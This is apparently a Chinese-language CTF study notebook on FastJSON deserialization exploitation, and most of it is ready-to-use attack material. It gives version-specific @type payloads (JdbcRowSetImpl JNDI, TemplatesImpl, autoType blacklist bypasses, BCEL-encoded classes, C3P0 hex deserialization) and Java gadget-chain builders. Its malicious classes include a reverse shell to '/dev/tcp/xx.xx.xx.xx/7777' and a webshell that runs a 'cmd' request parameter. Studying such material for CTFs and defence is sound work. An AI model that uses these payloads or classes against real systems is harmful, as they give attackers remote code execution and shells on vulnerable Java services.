FastJSON
fastjson
前言:这一部分停的有点久了,内容多,一直看别人分析源码,然后存结果,有点像以前只看文章不刷题的时候,看起来会了,但还是不会做,为了避免这种情况,所以决定写这篇文章,让自己动手尝试,顺便保存结果
{"@type":"com.student","age":6}
JSON.parseObject()
像这样就会调用student类中的setage和getage方法
parse和parseObject的区别
parseObject:返回 fastjson.JSONObject 类
parse :返回我们的类 User
一般来说 parseObject 的利用面更广
FastJSON调用getter常用两种方式,1、$ref,2、JSONObject。
$ref:>=1.2.36
JSONObject:<=1.2.36
要想使用$ref赋值,则不能使用JSONObject调用getter,因为在parse时就会调用到getter方法,无法等到处理完$ref的任务后再调用getter
checkAutoType
如果开启了就是先白名单过滤,再黑名单。
如果没开启就是会先黑名单,再白名单。
JdbcRowSetImpl
com.sun.rowset.JdbcRowSetImpl
中的dataSourceName
和autoCommit
都有set方法
在setautoCommit()
然后跟进发现
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
能够JNDI
解题代码
#1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/#exp1", "autoCommit":true}
#1.2.47
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/#exp1", #对应文件名不能变
"autoCommit":true
}
}
python -m http.server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps_ip:8080/#exp1 1099
import java.io.IOException;
public class exp1{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (IOException e) {
throw new RuntimeException(e);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
}
}
TemplatesImpl
_outputProperties
和_bytecodes
由private修饰,必须加入Feature.SupportNonPublicField
在parseObject
中才能触发
JSON.parseObject(payload, Feature.SupportNonPublicField);
解题代码
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["yv66vgAAADQA...."], '_name':'c.c', '_tfactory':{ },"_outputProperties":{}, "_name":"a", "_version":"1.0", "allowedProtocols":"all"}
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class exp extends AbstractTranslet{
public exp() throws IOException {
super();
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
package fj;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.*;
public class baseencode {
public static void main(String args[]) {
byte[] buffer = null;
String filepath = "C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class";
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
System.out.println(value);
}
}
c3p0基于fastjson进行JNDI注入
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc", "loginTimeout":0}
不同版本的绕过
1.2.25-1.2.41
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//开启autoTypeSupport
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}
1.2.25-1.2.42 (双写绕过)
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//开启autoTypeSupport
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}
1.2.25-1.2.43
修复了L;
以及双写,还对[
做处理,利用这个处理进行绕过
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//开启autoTypeSupport
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://vps:port/Exploit", "autoCommit":true}
1.2.25-1.2.45 (mybatis<3.5.0)
data_source
有 initial_context
时写在initial_context
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://vps:port/TouchFile"}}
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"2333","initial_context":"rmi://ip:port/TouchFile"}}
1.2.25-1.2.47 (最常用)
第一次缓存,第二次因为缓存绕过检测
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://vps/TouchFile",
"autoCommit": true
}
}
fastjson不出网
Fastjson不出网利用总结 - 先知社区 (aliyun.com)
TemplatesImpl
修改恶意类代码,命令执行或内存马
BCEL
tomcat
把整体放在key,会调用key.toString()
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmRKO$c2$40$Q$fe$W$90BmEQ$f0$fd$7e$81$H$b9x$c3x1$9a$Y$eb$pb0$k$cb$ba$c2bmM$v$ea$3f$f2$ecE$8d$sz$f7G$ZgWE$S$eda$a63$dfcf$db$7d$ffx$7e$F$b0$86$82$894FL$8cb$y$85q$95$t$ML$g$982$91$c4$b4$81$Z$D$b3$M$c9u$e9$cbh$83$n$5e$uV$Z$S$9b$c1$99$60$c88$d2$X$fb$ed$cb$9a$I$8f$dd$9aG$9d$ac$Tp$d7$ab$ba$a1T$f5w3$R5d$8b$3c$9c$adk$e9$95$ZR$eb$dc$fb$b6c$E$e7$9c$a6$7b$ed$96dP$da9$d8$ba$e5$e2$w$92$81O4$bb$S$b9$fcb$cf$bd$d26$b4$U$83Y$J$da$n$X$dbR$d9$a6$95$dd$aa$d2Z0$d1k$60$ce$c2$3c$Wh$k$ad$c0$z$yb$89a$f0$lo$861$dd$f5$5c$bf$5e$3aj$fb$91$bc$U$jPy$z$93$872g$e8$ff$r$k$d4$9a$82G$M$D$7f$b4$b4W$5dD$9d$oW$u$3a$7f8t$9e$84$b8$V$9ca$b9$d0$85V$a2P$fa$f5r$b7$e00$M$b8h$b5H0$d2$cd$3cn$84$c1$8d$fa$Q$e5b$V$b3H$d1_SO$ML$j$9e$a2EU$892$a3$dc$b3$f2$Iv$afa$9bbR7$N$f4Q$b4$be$I$c8$a0$9fr$K$D$j$f19$e2$g$h$7eB$y$h$7f$40$e2$e4$O$f6$ee$L$92$a7$e4f$bc$ddk0M$d4$k$o$w$db$3c$bd$B$ea$fe$d8$d4$ed$d51OC$7e$c6$d8$84d1H$d5$90$k$ls$M$e4$d2$E$e4$f5f$c3$9f$9e$b2$c5O$84$C$A$A"
}
}: "bbb"
}
mybatis
1.2.47
这个要是失败,说明版本在1.2.25-1.2.32之间
{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmRKO$c2$40$Q$fe$W$90BmEQ$f0$fd$7e$81$H$b9x$c3x1$9a$Y$eb$pb0$k$cb$ba$c2bmM$v$ea$3f$f2$ecE$8d$sz$f7G$ZgWE$S$eda$a63$dfcf$db$7d$ffx$7e$F$b0$86$82$894FL$8cb$y$85q$95$t$ML$g$982$91$c4$b4$81$Z$D$b3$M$c9u$e9$cbh$83$n$5e$uV$Z$S$9b$c1$99$60$c88$d2$X$fb$ed$cb$9a$I$8f$dd$9aG$9d$ac$Tp$d7$ab$ba$a1T$f5w3$R5d$8b$3c$9c$adk$e9$95$ZR$eb$dc$fb$b6c$E$e7$9c$a6$7b$ed$96dP$da9$d8$ba$e5$e2$w$92$81O4$bb$S$b9$fcb$cf$bd$d26$b4$U$83Y$J$da$n$X$dbR$d9$a6$95$dd$aa$d2Z0$d1k$60$ce$c2$3c$Wh$k$ad$c0$z$yb$89a$f0$lo$861$dd$f5$5c$bf$5e$3aj$fb$91$bc$U$jPy$z$93$872g$e8$ff$r$k$d4$9a$82G$M$D$7f$b4$b4W$5dD$9d$oW$u$3a$7f8t$9e$84$b8$V$9ca$b9$d0$85V$a2P$fa$f5r$b7$e00$M$b8h$b5H0$d2$cd$3cn$84$c1$8d$fa$Q$e5b$V$b3H$d1_SO$ML$j$9e$a2EU$892$a3$dc$b3$f2$Iv$afa$9bbR7$N$f4Q$b4$be$I$c8$a0$9fr$K$D$j$f19$e2$g$h$7eB$y$h$7f$40$e2$e4$O$f6$ee$L$92$a7$e4f$bc$ddk0M$d4$k$o$w$db$3c$bd$B$ea$fe$d8$d4$ed$d51OC$7e$c6$d8$84d1H$d5$90$k$ls$M$e4$d2$E$e4$f5f$c3$9f$9e$b2$c5O$84$C$A$A"}}:{}}}
JSONObject调用getter
关键是"$ref": ".."
在JSONObject触发getter之前就已经完成对Field赋值
{"friend":{ "@type": "com.alibaba.fastjson.JSONObject","name": {"@type": "java.lang.Class","val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"}},"x":{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","x": {"x":{{"@type": "com.alibaba.fastjson.JSONObject","c": {"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader": {"$ref": ".." },"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$ddN$h1$Q$85$8f$93$F$c36$U$I$3f$fd$_$BZ$I$m$c8M$ef$82P$R$C$vR$g$aa$s$82k$c7$98$c4$c8$d8$d1$ae7$e2$b5$b8$81$aa$X$3c$A$PUu$i$w$b2R$bb$96$f6h$ce$7c$c7$b3$9a$7d$fc$fd$eb$B$c0$Xl$c6$98$c4r$8cWx$3d$857A$dfr$bc$e3x$cf0$b9$af$ad$f6$H$M$c5$ea$d6$ZCt$e4$$$U$c3lS$5b$d5$ca$ae$bb$w$e9$88$ae$n$a7$dctR$983$91$e8P$ff5$p$df$d7$v$dd$d1$3c$kjSg$88$8fo$a4$gx$edl$ca$f1$81$e3$p$c7$KG$85c$95zm$97$rR$9d$e8$Q$9c$O$81$bd$x1$U$rpLq$ac$95$b0$8eO$M$cbn$a0leWTh$98$cc$8c$f0$$$d9$T$83A$J$9f$b1A$f3B$8ca$$$EkF$d8$5e$ed$b4$7b$a5$a4gX$YY$da$d5$g$a7$cf$df$c0P$Z$83GF$a4i$cb$f9$T$97$d9$8b$i$b22FZ$ae$9d$c9$fe7$e5$fb$$O$ec$8c$89D$5d$g$gWk$d8$nm$p$b4$3b$o$e9$v$ff$ff$91$NcTO$98C$vU$9a$e6$90$f91$f2$p$b3$5e_$d3Bb$ba$e5$b9X$aan5$ffah$bd$91$baQ$92a$b3$9a$eb$b6$7d$a2m$af$9e$P$7cO$5c$98X$c7$w$s$e8$bf$87$87$d1$a1$3d$a3$80i$aa$be$922$d2$97$db$f7$60$3fQ$u$X$ef$Q$9d$df$92S$40$i$7c$U$e9$3d$8b$I$f3$98A$Z$_$a8$w$3d$rHgF$g$9c$Jb$e6$88$vc$81$ba$8b$a3$fc$d2$l$aa$ee$90$ebu$C$A$A"}}:"x"}},}},
"username":"a",
"password":"b"}
版本在1.2.25-1.2.32使用$ref调用getter
$ref要想在低版本(<=1.2.36)调用getter,要进行绕过(代码审计看不懂)
重点好像在connection
依次使用
#恶意类放入mapping
[{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},]
#调用getter
[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[1]"}, "driver":"$$BCEL$$....."},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}}]
在N1CTF的具体操作
SpringBoot fastJsonHttpMessageConverters进行JSON.parse的时候会默认设置期望类为路由参数里对应的类,也就是期望类为com.n1ctf.oldfastjson.User
导致了Root context变为了com.n1ctf.oldfastjson.User对象,因为x并不是User的Field
,会被设置为null,导致了之前构造payload里面的各种引用都需要更改
具体操作:
把上面的数组放入value
的位置
{"a": [{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},],
"username":"asd",
"password":"asd"}
{
"friend":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$.friend[1]"}, "driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dV$5bW$hU$U$fe$86$5c$ce0$9d$96$Q$a0eZ$LE$a9$N$F$82$d6kC$c5$om$z$g$$$S$E$91z$99L$O$c9$c0d$86$ce$85$e2$b5$5e$ea$fd$5e$9f$fd$F$3e$f9$92$b6$ba$ea$ea$83k$e9$f2$c1W$97$P$fa$e2$8b$fe$Ju$9f$5c$m$90$d4$5cN$ce$f9$f6$3e$7b$ef$f3$ed$7dv$e6$e7$7f$be$fd$k$c0$fd$f8RA$x$kWp$k$93bxB$c6$93$K$d2$98$921$cd0$a3$80a$96$e1$v$Fs$c8$I$cdy$ZO$LpA$c6$a2$8cg$Y$96d$9c$90$f1$ac$8ce$Z$X$Y$9eS$f0$3c$5e$Q$c3$8b$Ktd$Vt$c1$90$91$T$bf$5c$M$x2$f2$M$F$F$3d0$c5$b0$w$865$GKB$f4$94i$9b$fe$98$84Pb$60ABx$c2$c9q$Jmi$d3$e6$d3A1$cb$ddy$3dk$R$SO$3b$86n$z$e8$ae$v$d6U0$ec$XL$8fl$a4$cfn$98$d6$a8$84N$97_$M$b8$e7O8$b6$cf7$fd$f3$8e$95$e3$ae$84$f6$f4$aa$be$a1$8fX$ba$9d$l$99$b0t$cf$pU$a9$u$e1$60$j$ee$f2$V$8b$h$fe$c8$U$f7$LN$8e$UBNvU$b8$ddV$99$c9$ae$92$G$89X$d5$8d$E$d9$e5$de$bac$7b$UK$c8$u$e6v$eag$7c$d7$b4$f3$a4$l$s$R$85$d9$b1$dcL$Yu$C$7f$3d$m$5b$7b$d6$J$f1$X$5d$d3$X1wUtMgdv$h$s$f5$bd$Z_7$d6$a6$f4$f52$FD$n$r$8c$a1H$e9$a2$b4HP$cen$g$7c$dd7$v$s$G$9b$c1aXg$b8$c8$40$s$95$8c$T$b8$G$3fg$K$eaZ$FeI$e1C$c5$5d$e8g$f0T$f8$ITl$e0$92$84S$8e$9bOz$o$a0$fc$8a$ab$X$f9$r$c7$5dK$5e$e2$d9$a4Qa6Ye$m9$d7$84p$86M$V$_$e1e$caG$9e$fbU$8dq$9f$O$9c$N$7cND$b4$edJ$87$8aW$f0$aa$84$d8n$aa$e9$5c$w$5e$c3$eb$w$$$e3$N$8a$7f$db$9a$8a7$c5$8e$3de$a4$96$B$95V$b3$ba$I$b7$cc$60l7$d9$SZLJQ$8bW$a0a$d8$a0$ba$uk$E$bei$8dd$M$dd$b6E$e8o$a9x$hWT$bc$83w$Z$deS$f1$3e$3e$Q$E$7dH$5b$$$8c$ab$f8$I$l$ab$f8$E$9f$S$81$e4$ad$96$ac$8e$s$b9R$f1$Z$3eW$f1$F$faU$5cE$3fU$81$60$5cB$f7$edj$ae$ce$cc$e4$ccV$g$r$i$d9$c5$d6$b4$e3$9fs$C$3bW$a7$d2$bb$ad2$edd$C$a3P$b1X$a71$d8$e8u$d2$de$a0$x$r$c4$f3$baK$87i$eer$d2$b2x$5e$b7$c6$N$83$7b$5e$9dJ$j$bb$f3$F$97$eb$U$fe$5e$pp$5dn$fb$b5ugb$m$bd$5b$8b$w$b8$8b$7cU$eb$a5$7c$9e$b4$a3$97o$a9$b6C$bdN$q$f64$VP$S$y$9a$94$R$JG$T$8d$d7$ab$c1$o$d9j$t$ffg$b8a$e9$$$cf$d5$98$3f$ddd$efr$c3$de$81$ff$eb$XQ$93$f8$5c$a32$3c$99h$ec$Z$cb$8d$d0$40$b3$ce$o$Ln$w$c7$e9h$a4c$b4Ru$b5$a0$db$b7$c5s$81$ed$9bE$5e$bd$p$b5E$d7$O$TUX$f4$p$be$c9$a9$fc$T$89$s$N$a9$7e$c7$ac$eb$88$ac$8f$eepU$F$r$ec$pW$936$b5$$$da$c9uj$a7$Hj$eeD$Fo$Lh$7bw$a2$a9$404$7c5$f0$f8$Zn$99$c5$caM$3av$fb$q$d6$dfSq$I$9b$Khw$91muUVn$a6$96$zHhb$91$iGV$ac$40t$82$88a9$kG$l$ee$a4$7f$3a$f1$a2$ff$G$d1$R$d1$82$a3$b4$f8$jQ$u$84$fe$7d$fc$g$a4$ebh$v$n$U$P$97$QI$P$c6$a3$a1$9b$60$r$c8SC$S$cdZKP$a6$87K$d8$TW$x$f8$de$a9$a1$e1$w$9e$K$97$F$fb$g$F$R$z$y$qma$92$y$85$e2$b1LY$ac$85i$ddJ$ebvZ$x$b7$QKE$b5$e8$8f$60$f1x$w$g$bd$89$YI$3a2K$e1xgf$v$a2E3$v$f6$j$ba$96$aec$bfF$d6$P$94$d0$7d$NZ$fc$60$J$87J$b8$p$rk$R$e1$e1$f0$96o$zRu$7e$L$3d$a9V$adU$93K$e8$d5$I8$o$86$beo$e8$b0$n$dcM$e3$i$3ai$dc$870b$f4$8e$e3$Q$3a$88$92$$$dc$87$fd$YC7$3d0hX$qt$N$87$a9A$f7$e0$Kz$a9$5d$f6$e1$x$a2$f2$G$R$f8$Ti$ffJ$96$fe$c01$fc$89$E$fe$c2q$9a$B$x$VB$J$Z$a0$df$Y$7e$p$7c$90H$3f$84_0$84$e12$f1$3f$m$89$R$8ac$M_$e3$k$9a$85$c9$d3U$dcK$b3$I$f9Z$c5$J$8a$oJ$9e$d2$f44$f3$A$3d$9a$dc$m$ad$H$J$93$c9c$i$P$e1aJ$e6I$b2$de$D$e9_$K$8a1$a4$YF$ZN1$3cR$fb$8c$91$fcQ$fa$aad$f34$c6$f1$Y$sp$86$e28KX$L$ce$fd$H$b6$d8$a1$99$$$J$A$A"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.friend.connection"}}],"username":"asd","password":"asd"}
相比之前的数组,在原来的基础上添加了.friend
"driverClassLoader":{"$ref":"$.friend[1]"},
"driver":{"$ref":"$.friend.connection"}
具体的恶意类
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil {
public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
Object obj = m.invoke(null);
m = obj.getClass().getMethod("getRequest");
Object request = m.invoke(obj);
m = obj.getClass().getMethod("getResponse");
Object response = m.invoke(obj);
m = request.getClass().getMethod("getParameter", String.class);
String cmd = (String) m.invoke(request, "cmd");
if(cmd == null){
cmd = "id";
}
String[] cmds = {"sh", "-c", cmd};
String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
// 读取f111111ag.txt的内容
// InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream("f111111ag.txt");;
// output = new Scanner(inputStream).useDelimiter("\\A").next();
m = response.getClass().getMethod("getWriter");
PrintWriter printWriter = (PrintWriter) m.invoke(response);
printWriter.println(output);
printWriter.flush();
printWriter.close();
}
}
commons-io 写文件/wbshell
C3P0二次反序列化 之hex序列化字节
记得有;
号 ! ! ! ! ! ! ! ! !
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"rand2": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:hexstring;",
}
}
java -jar ysoserial-all.jar CommonsCollections2 "calc" > calc.ser
import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.io.*;
import java.util.Arrays;
public class C3P0Test {
public static void main(String[] args) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream("/Users/xxx/Desktop/calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
System.out.println(poc);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
fastjson#toString(JSONObject和JSONArray都行)
借助XString和HotSwappableTargetSource触发toString
#XString触发Fastjson#toString
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class fj_gadget {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
JSONObject jo = new JSONObject();
jo.put("1",templatesimpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
// HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
Class clazz=h2.getClass();
Field transformerdeclaredField = clazz.getDeclaredField("target");
transformerdeclaredField.setAccessible(true);
transformerdeclaredField.set(h2,new XString("xxx"));
System.out.println(serial(hashMap));
String payload = "...";
// deserial(payload);
}
public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
CustomObjectInputStream ois = new CustomObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
在没有过滤的情况下,可以用BadAttributeValueExpException触发toString
#BadAttriubutexxxx的toString触发fastjson#toString
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class exp {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\22927\\Downloads\\fastjson_tostring\\target\\classes\\com\\example\\fastjson_tostring\\evilclass.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
JSONObject jo = new JSONObject();
jo.put("1",templatesimpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jo);
System.out.println(serial(exp));
}
public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
CustomObjectInputStream ois = new CustomObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
FastJson结合二次反序列化绕过黑名单 - 先知社区 (aliyun.com)
通过ezbean看fastjson链
private static final String[] blacklist = new String[]{
"java\\.security.*", "java\\.rmi.*", "com\\.fasterxml.*", "com\\.ctf\\.*","org\\.springframework.*", "org\\.yaml.*","javax\\.management\\.remote.*"
};
非预期(原生反序列化2) 全版本引用类型绕过
fastjson 1.2.49
开始,JSONArray
和JSONObject
开始重写了resolveClass
,过滤了诸如TemplatesImpl
的危险类。而ezbean
那道题使用了一个自定义的不安全的ObjectInputStream
进行反序列化
所以能通过引用的数据类型(放入list),从而不执行resolveClass
向List、set、map
类型中添加同样对象时即可成功利用,以list
为例
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);
package fj;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
public class bad_gadget {
public static void main(String[] args) throws Exception {
ArrayList<Object> list = new ArrayList<>();
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
//为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测
list.add(templatesimpl);
JSONArray jo = new JSONArray();
//此时在hash表中查到了映射,因此接下来以引用形式输出
jo.add(templatesimpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jo);
list.add(exp);
System.out.println(serial(list));
}
public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
存在的不足
如果重写的ObjectInputStream
过滤templates
,这样的方法就失效了。
